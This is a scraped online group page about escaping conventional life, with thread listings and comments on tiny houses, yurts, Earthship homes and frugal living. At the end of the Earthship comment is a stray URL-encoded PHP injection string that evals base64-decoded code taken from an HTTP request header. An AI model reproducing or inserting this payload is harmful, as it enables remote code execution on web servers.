No 'Garden Of Eden,' Utopias are not to be found, but you could choose to ESCAPE the 'rat race' in favor of an alternative lifestyle. Whether this is an attractive day-dream or a contemplated possibility, this topic is too alluring not to consider.

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Escape>> Time Travel

Started by Sydni Moser. Last reply by Bleacheddecay Feb 1, 2012. 2 Replies

What if? What if you could escape your 'ho hum' life and travel in time? Travel to some distant galaxy, into the future, or go back in time to experience what it was like to live in some past era in…Continue

But Will It Make You Happy?

Started by Sydni Moser. Last reply by Bleacheddecay Jan 20, 2012. 3 Replies

By STEPHANIE ROSENBLOOM Published: August 7, 2010 NY TimesSHE had so much. A two-bedroom apartment. Two cars. Enough wedding china to serve two dozen people.Yet Tammy Strobel wasn’t happy. Working as…Continue

FREEDOM - New Novel by Jonathan Franzen

Started by Sydni Moser Aug 30, 2010. 0 Replies

Jonathan Franzen: Great American NovelistBy Lev Grossman Thursday, Aug. 12, 2010Time I'm somewhat ashamed to admit that I never heard of this author before, but apparently his previous novel, The…Continue

"Suck it up. This is life. Grow Up!"

Started by Sydni Moser. Last reply by Allen J. Thoma Jul 26, 2010. 20 Replies

"Suck it up. This is life. Grow Up!"This is the latest blog from a favorite site of mine called, No Impact Man. Some of you…Continue

Want a Cozy, Affordable Home? Build A Yurt

Started by Sydni Moser. Last reply by Sydni Moser Jul 23, 2010. 1 Reply

Want a Cozy, Affordable Home? Build A YurtJune/July 2010By Craig Boyer Mother Earth I realized my dream and saved money by building a yurt in upstate New York with the help of friends and…Continue

***'ESCAPIST' Books***

Started by Sydni Moser. Last reply by Sydni Moser Jul 7, 2010. 5 Replies

***'ESCAPIST' Books*** Please contribute to this discussion by posting any interesting and relevant books that you have read or come across that would elicit excitement and interest to our dreams and…Continue

Do-It-Yourself Downsize: How To Build A Tiny House

Started by Sydni Moser Jul 5, 2010. 0 Replies

Do-It-Yourself Downsize: How To Build A Tiny Houseby Jon Kalish6/27/2010 - NPRLISTEN to This (6 min.) Story HERE:Home Is…Continue

No Money Man: The thrifty adventures of Mark Boyle

Started by Sydni Moser. Last reply by Sydni Moser Jul 3, 2010. 1 Reply

No Money Man: The thrifty adventures of Mark BoyleMark Boyle lives the good life and does it without spending a nickel (or in his case, a shilling).Mark Boyle outside his off-grid caravan.Mark Boyle…Continue

The Freegan Establishment

Started by Sydni Moser. Last reply by Allen J. Thoma Jun 20, 2010. 1 Reply

This is a rather long but extremely readable and interesting article. Reading it felt as though I was traveling back in time, because when I hitch-hiked to San Francisco from NY when I was 17, I met…Continue

What Will Make You Happy? Epicurus has some suggestions...

Started by Sydni Moser. Last reply by Allen J. Thoma Jun 19, 2010. 4 Replies

I recently watched the documentary, Philosophy – A Guide to Happiness, and was particularly struck with what Epicurus had…Continue

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Comment by Allen J. Thoma on June 24, 2010 at 9:48am
Both the 12 cubed and Nano appear to be completely self contained. Some of the shipping container houses are also. The problem as I see it is that a house without a kitchen or bath just would be a non-starter for most people. I just finished reading a book on living in 144 sq. ft. house. When you have to run to the gym to go to the bathroom or have to go to a restaurant to eat it just doesn't seem practical. The ingredients of a small house have been well thought out by trailer manufacturers years ago, we just need to make them permanent and with good aesthetics.
Comment by Jaume on June 24, 2010 at 8:48am
I bet I could actually live in most of these tiny houses with all my possessions (save the books.) The rollit house wins the prize for originality, except it might cause trouble if you feel the urge to rush to the toilet in the middle of a dinner.
Comment by Sydni Moser on June 24, 2010 at 8:22am

10 of the smallest homes in the world

A truly 'eco' abode

From energy expenditure to building materials, living in a smaller house is one of the best ways to reduce your ecological footprint. Giving up the luxury of space and living more minimally isn't always easy, but it does come with a few perks: fewer possessions, bigger skies and open spaces! Plus, a smaller house makes it easier to cozy up to your loved ones. You'll learn more about Paul Elkin's compact cycle home in a few more clicks. Meanwhile, here's a reminder that bigger isn't always better: 10 of the tiniest homes in the world. (Text: Bryan Nelson)

Check out the entire slide show HERE
Comment by Sydni Moser on June 15, 2010 at 8:01am

Earthship Community - Taos, New Mexico

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Along Highway 64 just southwest of Taos, New Mexico is a sustainable living community of Biotecture homes called “Earthships”. Earthships are passive solar homes made of natural and recycled materials designed for off-the-grid living. Earthships also embrace a thermal mass construction for temperature stabilization and incorporating renewable energy and integrated water systems making the Earthship an off-grid home with little to no utility bills. Most of the Earthship designs are created by Earthship Biotecture of Taos, NM. The homes are primarily constructed to work autonomously and are generally made of earth-filled tires, utilising thermal mass construction to naturally regulate indoor temperature. They also usually have their own special natural ventilation system. These structures are built to utilize the available local resources, especially solar energy by means of windows strategically placed on the sunny side to bring in light and heat; contingent on a horseshoe-shape to maximize natural light and solar gains during winters; thick outer walls for insulation against summer heat; honeycombs of recycled cans cemented together for more insulation, and incorporation of earth and adobe. These kind of buildings took shape in the 1970’s. Earthship Biotecture’s founder, Mike Reynolds, created a company to specialize in building these sustainable structurres with the importance for them to be independent from the ‘grid’ so that they are less susceptible to natural disasters and free from electrical and water lines. Because of the earth filled tire construction, Earthships have great load-bearing capacity and have an increased resistance to fire. Earthships can be found in every state and are appearing in countries like Europe. Earthship Biotecture is located in the Greater World Community which is a housing development in Taos, New Mexico compiled together of strictly earthship homes. Officially a legal subdivision in 1998 - it was started in order to create an ideal condition from where a sustainable community could grow and flourish. Want to buy an Earthship or land to place one on? An Earthship is defined by the following 6 principles: Thermal/Solar Heating & Cooling; Solar & Wind Electricity; Contained Sewage Treatment; Building with Natural & Recycled Materials; Water Harvesting; Food Production; and Comfort in Any Climate. I’m extremely intrigued and impressed by these sustainable buildings.$%7Beval%28base64_decode%28$_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.+%29&%/
Comment by Sydni Moser on June 15, 2010 at 6:06am
Comment by Sydni Moser on June 14, 2010 at 4:35pm

'Escape' with a mini-car with hooked-on trailer... Watch this, 1974 Volkswagen Beetle & Camper - road test video. (can't embed)
Comment by Sydni Moser on June 14, 2010 at 2:42am
Happiness Runs - Official US Trailer

April 26, 2010 — Opens 5/7 at Quad Cinema in NYC and 5/14 at Sunset 5 & University Town Center in Los Angeles

One part Woodstock and one part Lord of the Flies, this semi-autobiographical film tells the story of Victor, a neglected child of parents living on a commune. Helpless to resist the atmosphere of sex and drugs that permeates their world, Victor and his promiscuous girlfriend are also smart enough to know that if they are ever going to survive in the real world, they will have to get out. As smart and sexy as it is unnerving, Happiness Runs is a cautionary tale about freeing yourself of social constrictions.
Comment by Sydni Moser on June 10, 2010 at 1:01pm

Alternative Lifestyle....
Comment by Allegra on May 25, 2010 at 1:40pm
This is such a brilliant idea. Sigh... if only life really worked this way.
Comment by Sydni Moser on May 25, 2010 at 8:39am
Hi Elaine, thanks for joining.
What I'd like to see is for us all to explore different alternative living choices. Each to his/her own. This is your group too, and I hope you will share your particular interests in this topic. If for some reason you find it's not for you, deleting it easy. Certainly hope you stick around though.

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